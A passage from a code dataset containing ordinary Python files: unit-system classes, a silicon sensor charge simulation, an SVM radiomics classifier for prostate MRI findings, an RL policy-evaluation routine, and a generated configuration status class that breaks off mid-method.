f'Incorrect unit dimensionality \"{unit.dimensionality}\" '\n f'for unit \"{unit}\"')\n\n return unit\n\n\nclass SI(UnitSystem):\n def __init__(\n self,\n length='meter',\n mass='kilogram',\n time='second',\n angle='degree',\n pressure='pascal',\n force='newton',\n energy='joule',\n power='watt',\n **kwargs):\n super().__init__(\n length=length,\n mass=mass,\n time=time,\n angle=angle,\n pressure=pressure,\n force=force,\n energy=energy,\n power=power,\n **kwargs\n )\n\n\nclass MKS(UnitSystem):\n def __init__(\n self,\n length='meter',\n mass='kilogram',\n time='second',\n angle='degree',\n **kwargs):\n super().__init__(\n length=length,\n mass=mass,\n time=time,\n angle=angle,\n **kwargs,\n )\n\n\nclass CGS(UnitSystem):\n def __init__(\n self,\n length='centimeter',\n mass='gram',\n time='second',\n angle='degree',\n **kwargs):\n super().__init__(\n length=length,\n mass=mass,\n time=time,\n angle=angle,\n **kwargs,\n )\n\n\nclass US(UnitSystem):\n def __init__(\n self,\n length='foot',\n mass='slug',\n time='second',\n angle='degree',\n force='force_pound',\n **kwargs):\n super().__init__(\n length=length,\n mass=mass,\n time=time,\n angle=angle,\n force=force,\n **kwargs\n )\n","repo_name":"yetisir/krak","sub_path":"krak/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":7594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25385101512","text":"''' Example that shows the transient planar sensor signal after irradiation.\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import integrate\n\nfrom scarce import silicon, solver, sensor, tools\n\n\ndef transient_irrad():\n # For CCE important parameters\n\n fluence = 5e15 # Neq/cm2\n V_bias = -1000.\n n_eff_0 = 1.7e12\n\n # Calculate effective doping concentration after irradiation\n n_eff = silicon.get_eff_acceptor_concentration(fluence=fluence,\n n_eff_0=n_eff_0,\n is_ntype=True,\n is_oxygenated=True)\n\n # Planar sensor parameters\n width = 50.\n thickness = 200.\n temperature = 300.\n pitch = 45.\n n_pixel = 9\n V_readout = 0.\n resolution = 200\n\n # Create sensor\n pot_w_descr, pot_descr = sensor.planar_sensor(n_eff=n_eff,\n V_bias=V_bias,\n V_readout=V_readout,\n temperature=temperature,\n n_pixel=n_pixel,\n width=width,\n pitch=pitch,\n thickness=thickness,\n resolution=resolution,\n # Might have to be adjusted\n # when changing the\n # geometry\n smoothing=0.01)\n\n # Start parameters of e-h pairs\n # Create 10 e-h pairs every 5 um in y\n xx, yy = np.meshgrid(np.linspace(0, width, 1), # x\n np.repeat(np.linspace(0., thickness,\n thickness / 5.), 10),\n sparse=False) # All combinations of x / y\n p0 = np.array([xx.ravel(), yy.ravel()]) # Position [um]\n\n # Initial charge set to 1\n q0 = np.ones(p0.shape[1])\n\n # Time steps\n dt = 0.001 # [ns]\n n_steps = 3000\n t = np.arange(n_steps) * dt\n\n t_e_trapping = silicon.get_trapping(\n fluence=fluence, is_electron=True, paper=1)\n t_h_trapping = silicon.get_trapping(\n fluence=fluence, is_electron=False, paper=1)\n\n dd = solver.DriftDiffusionSolver(pot_descr, pot_w_descr,\n T=temperature, diffusion=True)\n dd_irr = solver.DriftDiffusionSolver(pot_descr, pot_w_descr,\n T=temperature, diffusion=True,\n t_e_trapping=t_e_trapping,\n t_h_trapping=t_h_trapping)\n _, _, I_ind_e, I_ind_h, T, _ = dd.solve(p0, q0, dt, n_steps)\n _, _, I_ind_e_irr, I_ind_h_irr, T_irr, _ = dd_irr.solve(p0, q0, dt,\n n_steps)\n\n # Interpolate data to fixed time points for easier plotting\n I_ind_e = tools.time_data_interpolate(T, I_ind_e, t, axis=0, fill_value=0.)\n I_ind_h = tools.time_data_interpolate(T, I_ind_h, t, axis=0, fill_value=0.)\n I_ind_e[np.isnan(I_ind_e)] = 0.\n I_ind_h[np.isnan(I_ind_h)] = 0.\n I_ind_e_irr = tools.time_data_interpolate(\n T_irr, I_ind_e_irr, t, axis=0, fill_value=0.)\n I_ind_h_irr = tools.time_data_interpolate(\n T_irr, I_ind_h_irr, t, axis=0, fill_value=0.)\n I_ind_e_irr[np.isnan(I_ind_e_irr)] = 0.\n I_ind_h_irr[np.isnan(I_ind_h_irr)] = 0.\n Q_ind_e = integrate.cumtrapz(I_ind_e, t, axis=0, initial=0)\n Q_ind_h = integrate.cumtrapz(I_ind_h, t, axis=0, initial=0)\n Q_ind_e_irr = integrate.cumtrapz(I_ind_e_irr, t, axis=0, initial=0)\n Q_ind_h_irr = integrate.cumtrapz(I_ind_h_irr, t, axis=0, initial=0)\n plt.plot(t, Q_ind_e.sum(axis=1) / xx.shape[0], color='blue',\n label='Electrons, depl.')\n plt.plot(t, Q_ind_h.sum(axis=1) / xx.shape[0], color='red',\n label='Holes, depl.')\n plt.plot(t, (Q_ind_e.sum(axis=1) +\n Q_ind_h.sum(axis=1)) / xx.shape[0], color='magenta',\n label='Sum, depl.')\n plt.plot(t, Q_ind_e_irr.sum(axis=1) / xx.shape[0], '--', color='blue',\n label='Electrons, depl. + trap.')\n plt.plot(t, Q_ind_h_irr.sum(axis=1) / xx.shape[0], '--', color='red',\n label='Holes, depl. + trap.')\n plt.plot(t, (Q_ind_e_irr.sum(axis=1) +\n Q_ind_h_irr.sum(axis=1)) / xx.shape[0], '--', color='magenta',\n label='Sum, depl. + trap.')\n plt.legend(loc=0)\n plt.xlabel('Time [ns]')\n plt.ylabel('Total induced charge [a.u.]')\n plt.grid()\n plt.title('Induced charge of MIP in planar sensor, readout pixel')\n plt.show()\n\n\nif __name__ == '__main__':\n import logging\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s %(levelname)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n transient_irrad()\n","repo_name":"SiLab-Bonn/Scarce","sub_path":"scarce/examples/irradiation_planar.py","file_name":"irradiation_planar.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25525054139","text":"#!/usr/bin/env python3\nfrom __future__ import print_function\nimport SimpleITK as sitk\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pydicom import dcmread\nimport nibabel as nib\n#get_ipython().magic('matplotlib inline')\nimport csv\nfrom tqdm import tqdm_notebook as tqdm\nimport shutil\nimport gzip\nimport pandas as pd \nfrom sklearn import svm\nfrom sklearn.svm import SVC\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import StratifiedShuffleSplit\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.impute import SimpleImputer\nfrom numpy import nan\nimport numpy as np\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import GridSearchCV \nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import accuracy_score\n\nfrom tools.lasotools import feature_extraction\nfrom tools.lasotools import report\nfrom tools.lasotools import load_nii\nfrom tools.feature_selection import DT\nfrom tools.feature_selection import RFECV\nfrom tools.feature_selection import RF\nfrom tools.feature_selection import LR\nfrom tools.feature_selection import PCA\n\n\nreport('#####################################################################')\nreport('#####################################################################')\nreport('#####################################################################')\nreport('libraries imported')\nreport('#####################################################################')\nreport('#####################################################################')\n\n\n# ### Reading .CSV file\n\ntry:\n\tROOT= os.getcwd()\n\tfindings= []\n\tfindings_seq_num=[]\n\twith open(os.path.join(ROOT,'PROSTATEx_Classes.csv'), newline='') as csvfile:\n\t\tspamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n\t\tfor row in spamreader:\n\t\t\tfindings.append(', '.join(row))\n\tfor row in range(len(findings)):\n\t\tfindings[row]= findings[row].split(',')\n\n\n\tprint(len(findings))\n\tfindings.pop(0) # remove first row (header)\n\tprint(len(findings))\n\tprint(findings[-1]) # print to check\n\treport(str(len(findings))+' findings!')\n\tfindings=findings[:] \n\n\t# In[165]:\n\n\n\tdf = pd.read_csv(os.path.join(ROOT,'PROSTATEx_Classes.csv'))\n\tdf.dtypes\n\n\n\t# In[166]:\n\n\n\tobj_df = df.select_dtypes(include=['boolean']).copy()\n\tobj_df.head()\n\n\n\t# In[167]:\n\n\n\tcleanup_nums = {\"Clinically Significant\": {True: 1, False: 0}}\n\tobj_df.replace(cleanup_nums, inplace=True)\n\tobj_df.head()\n\n\n\t# In[174]:\n\n\n\tid_finding=[]\n\tlabel_finding=[]\n\tgleason_finding=[]\n\n\tfor row in range(len(findings)):\n\t\tid_finding=list(df['ID'])\n\tid_finding=id_finding\n\t#print(df['ID'].value_counts())\n\tfor row in range(len(findings)):\n\t\tlabel_finding=list(obj_df['Clinically Significant'])\n\tlabel_finding=label_finding[:]\n\tprint(df['Clinically Significant'].value_counts(),'\\n')\n\tfor row in range(len(findings)):\n\t\tgleason_finding=list(df['Gleason Grade Group'])\n\tgleason_finding=gleason_finding\n\tprint(df['Gleason Grade Group'].value_counts())\n\n\n\n\t# ### Radiomics\n\t'''\n\treport('#####################################################################')\n\treport('########################### RADIOMCS ################################')\n\t\n\tfeature_extraction(masks_path= os.path.join(ROOT,'data','Masks','T2'),\n\t\tnii_path= os.path.join(ROOT,'data','nii','T2'),\n\t\tlabels= label_finding,\n\t\tparams_file= 'params.yaml',\n\t\toutput_filename= 'Features.csv')\n\t\t\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('#####################################################################')\n\t'''\n\n\t# ### SVM classifier\n\n\t# In[177]:\n\n\t\n\treport('#####################################################################')\n\treport('#####################################################################')\n\tlabels=np.array(label_finding)\n\treport('#labels: '+str(np.shape(labels)))\n\n\t# In[178]:\n\n\n\tdf_features=pd.read_csv('Features.csv', sep=',',header=0) # remove first line: 1>> header\n\tdf_features=df_features[:]\n\treport('#training data: '+str(np.shape(df_features.values)))\n\t\n\n\n\ttrain_data, test_data, train_labels, test_labels = train_test_split(df_features, labels, test_size = 0.3, random_state=2)\n\n\t# Correcting NaN values: \n\tvalues = train_data\n\timputer = SimpleImputer(missing_values=nan, strategy='mean')\n\t# transform the dataset\n\ttrain_data = imputer.fit_transform(values)\n\t\n\t\n\t# Correcting NaN values: \n\tvalues = test_data\n\timputer = SimpleImputer(missing_values=nan, strategy='mean')\n\t# transform the dataset\n\ttest_data = imputer.fit_transform(values)\n\n\n\n\tclf = svm.SVC()\n\tclf.fit(train_data, train_labels)\n\treport('dimensions fit')\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('#####################################################################')\n\n\n\t# linear SVM kernel\n\t'''\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['linear']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(train_data, train_labels)\n\t\n\treport(\"The best all_features_in_linear-SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\n\tclf = svm.SVC(**grid.best_params_, cache_size=200, class_weight=None, coef0=0.0, degree=3,\n\t max_iter=-1, probability=True, random_state=None, shrinking=True,\n\t tol=0.001, verbose=False)\n\tclf.fit(train_data, train_labels)\n\t'''\n\t\n\t# rbf SVM kernel\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['rbf']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(train_data, train_labels)\n\n\treport(\"The best all_features_in_rbf-SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\t\t \n\tclf = svm.SVC(**grid.best_params_, cache_size=200, class_weight=None, coef0=0.0, degree=3,\n\t max_iter=-1, probability=True, random_state=None, shrinking=True,\n\t tol=0.001, verbose=False)\n\tclf.fit(train_data, train_labels)\n\t\t\n\t\n\t# poly SVM kernel\n\t'''\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['poly']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(train_data, train_labels)\n\n\treport(\"The best all_features_in_poly-SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\n\tclf = svm.SVC(**grid.best_params_, cache_size=200, class_weight=None, coef0=0.0, degree=3,\n\t max_iter=-1, probability=True, random_state=None, shrinking=True,\n\t tol=0.001, verbose=False)\n\tclf.fit(train_data, train_labels)\n\t'''\n\t\n\treport('all_features_in-SVM classifier(s) trained!')\n\treport('#####################################################################')\n\n\n\n\n\n\t# ### Feature Selection\n\t\n\treport('#####################################################################')\n\treport('Atempting FEATURE SELECTION...')\n\treport('#####################################################################')\n\t\n\t\n\tX= train_data\n\ty= train_labels\n\t\n\t\n\t# image folder\n\ttry:\n\t\tshutil.rmtree(os.path.join(ROOT, 'plots'))\n\texcept Exception:\n\t\tpass\n\tos.mkdir(os.path.join(ROOT, 'plots'))\n\n\n\n\n\t#### RFECV rbf-kernel SVM\n\t\n\treport('#####################################################################')\n\tRFECV_valid_indices= RFECV(X,y)\n\treport('#####################################################################')\n\n\n\n\n\t# #### Random Forest\n\t\n\tX= train_data\n\ty= train_labels\n\t\n\treport('########################### RF ######################################')\n\tRF_valid_indices= [0, 5, 11, 12, 13, 15, 21]#RF(X,y)\n\treport('#####################################################################')\n\t\n\t\n\t\n\t\n\t# ### Decion Tree\n\t\n\tX= train_data\n\ty= train_labels\n\t\n\treport('########################### DT ######################################')\n\tDT_valid_indices= DT(X,y)\n\treport('#####################################################################')\n\t\n\t\n\t\n\n\t# ### Logistic Regression\n\t\n\tX= train_data\n\ty= train_labels\n\n\treport('########################### LR ######################################')\n\tLR_valid_indices= LR(X,y)\n\treport('#####################################################################')\n\n\n\n\n\n\n\t# ### Validation\n\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('Attempting Validation...')\n\treport('#####################################################################')\n\n\n\n\t# RFECV\n\t\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['rbf']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(X[:,RFECV_valid_indices], y)\n\n\treport(\"The best RFECV SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\n\tmean_results=cross_val_score(estimator=svm.SVC(**grid.best_params_),X=X[:,RFECV_valid_indices],y=y,scoring='accuracy')\n\treport('RFECV results: >mean: '+str(mean_results.mean())+', >std: '+str(mean_results.std()))\n\t\n\tmodel= svm.SVC(**grid.best_params_)\n\tmodel.fit(X[:,RFECV_valid_indices],y)\n\tRFECV_predictions = model.predict(test_data[:,RFECV_valid_indices])\n\treport('RFECV accuracy: '+str(accuracy_score(RFECV_predictions, test_labels)))\n\t\n\n\n\t# RF\n\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['rbf']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(X[:,RF_valid_indices], y)\n\n\treport(\"The best RF SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\n\tmean_results=cross_val_score(estimator=svm.SVC(**grid.best_params_),X=X[:,RF_valid_indices],y=y,scoring='accuracy')\n\treport('RF results: >mean: '+str(mean_results.mean())+', >std: '+str(mean_results.std()))\n\n\tmodel= svm.SVC(**grid.best_params_)\n\tprint(RF_valid_indices)\n\tmodel.fit(X[:,RF_valid_indices],y)\n\tRF_predictions = model.predict(test_data[:,RF_valid_indices])\n\treport('accuracy: '+str(accuracy_score(RF_predictions, test_labels)))\n\t\n\n\t\n\n\t# DT\n\n\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n 'kernel': ['rbf']} \n\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\tgrid.fit(X[:,DT_valid_indices], y)\n\n\treport(\"The best DT SVM parameters are %s with a score of %0.2f\"\n\t\t % (grid.best_params_, grid.best_score_))\n\n\tmean_results=cross_val_score(estimator=svm.SVC(**grid.best_params_),X=X[:,DT_valid_indices],y=y,scoring='accuracy')\n\treport('DT results: >mean: '+str(mean_results.mean())+', >std: '+str(mean_results.std()))\n\n\tmodel= svm.SVC(**grid.best_params_)\n\tmodel.fit(X[:,DT_valid_indices],y)\n\tDT_predictions = model.predict(test_data[:,DT_valid_indices])\n\treport('DT accuracy: '+str(accuracy_score(DT_predictions, test_labels)))\n\n\t\n\t\n\ttry:\n\t\t# LR\n\t\tparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n\t\t\t\t 'gamma': [1, 0.1, 0.01, 0.001, 0.0001], \n\t\t\t\t 'kernel': ['rbf']} \n\t\tcv = StratifiedShuffleSplit(n_splits=5, test_size=0.3, random_state=42)\n\t\tgrid = GridSearchCV(svm.SVC(), param_grid=param_grid, cv=cv)\n\t\tgrid.fit(X[:,LR_valid_indices], y)\n\n\t\treport(\"The best LR SVM parameters are %s with a score of %0.2f\"\n\t\t\t % (grid.best_params_, grid.best_score_))\n\n\t\tmean_results=cross_val_score(estimator=svm.SVC(**grid.best_params_),X=X[:,LR_valid_indices],y=y,scoring='accuracy')\n\t\treport('LR: >mean: '+str(mean_results.mean())+', >std: '+str(mean_results.std()))\n\t\t\n\t\tmodel= svm.SVC(**grid.best_params_)\n\t\tmodel.fit(X[:,LR_valid_indices],y)\n\t\tLR_predictions = model.predict(test_data[:,LR_valid_indices])\n\t\treport('LR accuracy: '+str(accuracy_score(LR_predictions, test_labels)))\n\texcept Exception:\n\t\treport('LR validation skipped')\n\n\n\t\n\t\n\tPCA(df_features,labels)\n\t\n\n\t# \n\t# ---\n\t# ##### HRL\n\t# ---\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('all run sucessfully!')\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('#####################################################################')\n\nexcept Exception as e:\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('FATAL ERROR OCURRED while running the HRLscript!!!!!!\\n'+str(e))\n\treport('#####################################################################')\n\treport('#####################################################################')\n\treport('#####################################################################')","repo_name":"raullopezgonzalez/Medical-Image-Analysis","sub_path":"Final project/featureExtraction.py","file_name":"featureExtraction.py","file_ext":"py","file_size_in_byte":13558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18553633995","text":"import numpy as np\nfrom drl_lib.do_not_touch.contracts import MDPEnv\nfrom drl_lib.do_not_touch.result_structures import ValueFunction\n\n\ndef policy_evaluation(environment: MDPEnv,\n pi: np.ndarray,\n gamma: float = 0.99999,\n theta: float = 0.0000001) -> ValueFunction:\n S = environment.states()\n A = environment.actions()\n R = environment.rewards()\n V = {s: 0 for s in S}\n p = environment.transition_probability\n\n while True:\n delta = 0.0\n\n for s in S:\n old_v = V[s]\n total = 0.0\n for a in A:\n total_inter = 0.0\n for s_p in S:\n for r in range(len(R)):\n total_inter += p(s, a, s_p, r) * (R[r] + gamma * V[s_p])\n total_inter = pi[s, a] * total_inter\n total += total_inter\n V[s] = total\n delta = max(delta, np.abs(V[s] - old_v))\n if delta < theta:\n return V\n","repo_name":"Leonardeaux/reinfrocement_project","sub_path":"algorithms/dynamic_programming/policy_evaluation.py","file_name":"policy_evaluation.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3628518607","text":"\n\n\nfrom a.infra.misc.enum_with_value import EnumWithValue\nfrom a.infra.basic.return_codes import ReturnCodes\nfrom a.infra.misc.init_guard import InitGuard\n\nfrom a.sys.confd.pyconfdlib.tag_values import TagValues\nfrom a.sys.confd.pyconfdlib.value import Value\nfrom a.sys.confd.pyconfdlib.key_path import KeyPath\n\nfrom status_maapi_base_gen import StatusMaapiBase\n\n\n\n\nclass BlinkyStatusMaapi(StatusMaapiBase):\n def __init__ (self, logger):\n self.myInitGuard = InitGuard()\n self._log=logger.createLogger(\"sys-blinky-oper-example\",\"blinky-maapi-status\")\n self.domain = None\n\n \n\n \n self.locationRequested = False\n self.location = None\n self.locationSet = False\n \n\n def init (self, domain):\n self.myInitGuard.crashIfInitDone()\n for logFunc in self._log('init').debug3Func(): logFunc('called. domain=%s', domain)\n self.domain = domain\n self.myInitGuard.initDone()\n\n def requestConfigAndOper (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('request-config-and-oper').debug3Func(): logFunc('called, PARAMS')\n \n \n self.requestLocation(True)\n \n \n\n def requestConfig (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('request-config').debug3Func(): logFunc('called, PARAMS')\n \n \n self.requestLocation(False)\n \n \n\n def requestOper (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('request-oper').debug3Func(): logFunc('called, PARAMS')\n \n \n self.requestLocation(True)\n \n \n\n def clearAllRequested (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('clear-all-requested').debug3Func(): logFunc('called, PARAMS')\n \n \n self.requestLocation(False)\n \n \n\n def clearAllSet (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('clear-all-set').debug3Func(): logFunc('called, PARAMS')\n \n \n\n def write (self\n , module\n , trxContext=None\n ):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('write').debug3Func(): logFunc('called, PARAMS')\n return self._internalWrite(module, trxContext)\n\n def read (self\n , module\n \n , trxContext=None):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('read').debug3Func(): logFunc('called, PARAMS')\n return self._internalRead(module, \n False,\n trxContext)\n\n def readAllOrFail (self\n , module\n \n , trxContext=None):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('read-all-or-fail').debug3Func(): logFunc('called, PARAMS')\n return self._internalRead(module, \n True,\n trxContext)\n\n\n\n def requestLocation (self, requested):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('request-location').debug3Func(): logFunc('called. requested=%s', requested)\n self.locationRequested = requested\n self.locationSet = False\n\n def isLocationRequested (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('is-location-requested').debug3Func(): logFunc('called. requested=%s', self.locationRequested)\n return self.locationRequested\n\n def getLocation (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('get-location').debug3Func(): logFunc('called. self.locationSet=%s, self.location=%s', self.locationSet, self.location)\n if self.locationSet:\n return self.location\n return None\n\n def hasLocation (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('has-location').debug3Func(): logFunc('called. self.locationSet=%s, self.location=%s', self.locationSet, self.location)\n if self.locationSet:\n return True\n return False\n\n def setLocation (self, location):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('set-location').debug3Func(): logFunc('called. location=%s, old=%s', location, self.location)\n self.locationSet = True\n self.location = location\n\n\n def _clearAllReadData (self):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('clear-all-read-data').debug3Func(): logFunc('called')\n\n \n\n \n self.location = 0\n self.locationSet = False\n \n\n def _getSelfKeyPath (self, module\n \n , junkForTemplate):\n for logFunc in self._log('get-self-key-path').debug3Func(): logFunc('called. PARAMS, junkForTemplate=%s', junkForTemplate)\n keyPath = KeyPath()\n \n \n xmlVal = Value()\n xmlVal.setXmlTag((\"status\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \"qt-strg-module\"))\n keyPath.addKeyPathPrefix(xmlVal)\n \n \n ancestorVal = Value()\n ancestorVal.setString(module);\n keyPath.addKeyPathPrefix(ancestorVal)\n \n xmlVal = Value()\n xmlVal.setXmlTag((\"module\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \"qt-strg-module\"))\n keyPath.addKeyPathPrefix(xmlVal)\n \n \n xmlVal = Value()\n xmlVal.setXmlTag((\"storage\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage\", \"qt-strg\"))\n keyPath.addKeyPathPrefix(xmlVal)\n \n \n xmlVal = Value()\n xmlVal.setXmlTag((\"tech\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech\", \"qt\"))\n keyPath.addKeyPathPrefix(xmlVal)\n \n\n for logFunc in self._log('get-self-key-path-done').debug3Func(): logFunc('done. keyPath=%s. PARAMS', keyPath)\n return keyPath\n\n def _internalWrite (self, \n module, \n \n trxContext):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('internal-write').debug3Func(): logFunc('called. PARAMS')\n\n tagValueList = TagValues()\n\n res = self._fillWriteTagValues(tagValueList)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('write-fill-write-tag-value-failed').errorFunc(): logFunc('_fillWriteTagValues() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n itemsToDelete = []\n res = self._collectItemsToDelete(module, \n \n itemsToDelete)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('write-collect-items-to-delete-failed').errorFunc(): logFunc('_collectItemsToDelete() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n keyPath = self._getSelfKeyPath(module, \n \n None)\n\n res = self.domain.writeMaapi(tagValueList, keyPath, trxContext, itemsToDelete)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('write-domain-failed').errorFunc(): logFunc('domain.writeMaapi() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n for logFunc in self._log('internal-write-done').debug3Func(): logFunc('done. PARAMS')\n return ReturnCodes.kOk\n\n def _internalRead (self, \n module, \n \n readAllOrFail,\n trxContext):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('internal-read').debug3Func(): logFunc('called. PARAMS, readAllOrFail=%s', readAllOrFail)\n\n if readAllOrFail:\n self._clearAllReadData()\n\n tagValueList = TagValues()\n\n res = self._fillReadTagValues(tagValueList)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('read-fill-read-tag-value-failed').errorFunc(): logFunc('_fillReadTagValues() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n keyPath = self._getSelfKeyPath(module, \n \n None)\n\n res = self.domain.readMaapi(tagValueList, keyPath, trxContext)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('read-domain-failed').errorFunc(): logFunc('domain.readMaapi() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n res = self._readTagValues(tagValueList, readAllOrFail)\n if res != ReturnCodes.kOk:\n for logFunc in self._log('read-read-tag-values-failed').errorFunc(): logFunc('_readTagValues() failed. PARAMS')\n return ReturnCodes.kGeneralError\n\n for logFunc in self._log('internal-read-done').debug3Func(): logFunc('done. PARAMS, readAllOrFail=%s', readAllOrFail)\n return ReturnCodes.kOk\n\n def _collectItemsToDelete (self,\n module, \n \n itemsToDelete):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('collect-items-to-delete').debug3Func(): logFunc('called: itemsToDelete=%s. PARAMS', itemsToDelete)\n\n \n\n for logFunc in self._log('collect-items-to-delete-done').debug3Func(): logFunc('done: itemsToDelete=%s. PARAMS', itemsToDelete)\n return ReturnCodes.kOk\n\n def _fillWriteTagValues (self, tagValueList):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('fill-write-tag-values').debug3Func(): logFunc('called: tagValueList=%s', tagValueList)\n\n \n\n \n\n return ReturnCodes.kOk\n\n def _fillReadTagValues (self, tagValueList):\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('fill-read-tag-values').debug3Func(): logFunc('called: tagValueList=%s', tagValueList)\n\n \n if self.isLocationRequested():\n valLocation = Value()\n valLocation.setEmpty()\n tagValueList.push((\"location\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\"), valLocation)\n \n\n \n\n return ReturnCodes.kOk\n\n def _readTagValues (self, tagValueList, readAllOrFail):\n __pychecker__ = 'maxlines=300'\n __pychecker__ = 'maxreturns=30'\n\n self.myInitGuard.isInitOrCrash()\n for logFunc in self._log('read-tag-values').debug3Func(): logFunc('called. readAllOrFail=%s, tagValueList=%s', readAllOrFail, tagValueList)\n\n res = ReturnCodes.kOk\n\n for logFunc in self._log('read-tag-values-leaves').debug3Func(): logFunc('reading leaves. tagValueList=%s', tagValueList)\n \n if self.isLocationRequested():\n ((tag, ns), tempValue) = tagValueList.popFront()\n if (tag != \"location\") or \\\n (ns != \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\"):\n for logFunc in self._log('reag-tag-values-unexpected-tag-leaf-location').errorFunc(): logFunc('got unexpected tag-value for leaf: %s. expected: (%s, %s), got: (%s, %s)',\n \"location\", \"location\", \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", tag, ns)\n self._clearAllReadData()\n return ReturnCodes.kGeneralError\n\n tempVar = None\n tempVar = tempValue.asString()\n if res != ReturnCodes.kOk or tempVar is None:\n for logFunc in self._log('read-tag-values-location-bad-value').infoFunc(): logFunc('location not read')\n if readAllOrFail:\n self._clearAllReadData()\n return 